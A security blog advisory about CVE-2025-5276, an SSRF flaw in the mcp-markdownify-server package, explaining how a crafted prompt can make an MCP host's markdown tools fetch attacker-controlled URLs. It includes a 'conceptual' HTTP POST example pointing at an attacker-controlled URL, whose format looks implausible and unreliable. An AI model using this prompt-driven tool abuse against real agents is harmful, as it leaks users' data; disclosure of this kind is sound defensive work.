Ameeba Security Research

Defensive CVE and exploit intelligence

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2025-5276: SSRF Vulnerability in mcp-markdownify-server Package

Views: 27

Overview

This report discusses the Server-Side Request Forgery (SSRF) vulnerability discovered in all versions of the mcp-markdownify-server package. This vulnerability is a significant security risk to the MCP host as it allows an attacker to invoke certain tools using a crafted prompt, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-5276
Severity: High (7.4 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Ameeba Chat Icon Share secrets securely

Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.

Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.

  • • Encrypted identity
  • • Private Spaces for organizations and teams
  • • End-to-end encrypted chat, calls, files, and notes
  • • Sensitive AI work and protected collaboration
  • • Built for information that cannot leak

Our mission is to secure human work alongside AI.

Product | Affected Versions

mcp-markdownify-server | All versions

How the Exploit Works

The SSRF vulnerability in the mcp-markdownify-server package is exploited via the Markdownify.get() function. An attacker can craft a prompt that, when accessed by the MCP host, triggers the webpage-to-markdown, bing-search-to-markdown, and youtube-to-markdown tools. These tools can issue requests and read responses to URLs controlled by the attacker, thereby potentially leaking sensitive information or compromising the system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /Markdownify.get() HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"markdown_tools": ["webpage-to-markdown", "bing-search-to-markdown", "youtube-to-markdown"],
"url": "http://attacker-controlled-url.com"
}

In this example, the attacker sends a POST request to the Markdownify.get() function with a JSON object containing the markdown_tools and an attacker-controlled URL. The MCP host, upon receiving this request, would then invoke the specified markdown tools to issue requests to the attacker-controlled URL, potentially leaking sensitive information.

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

More posts

Ameeba Chat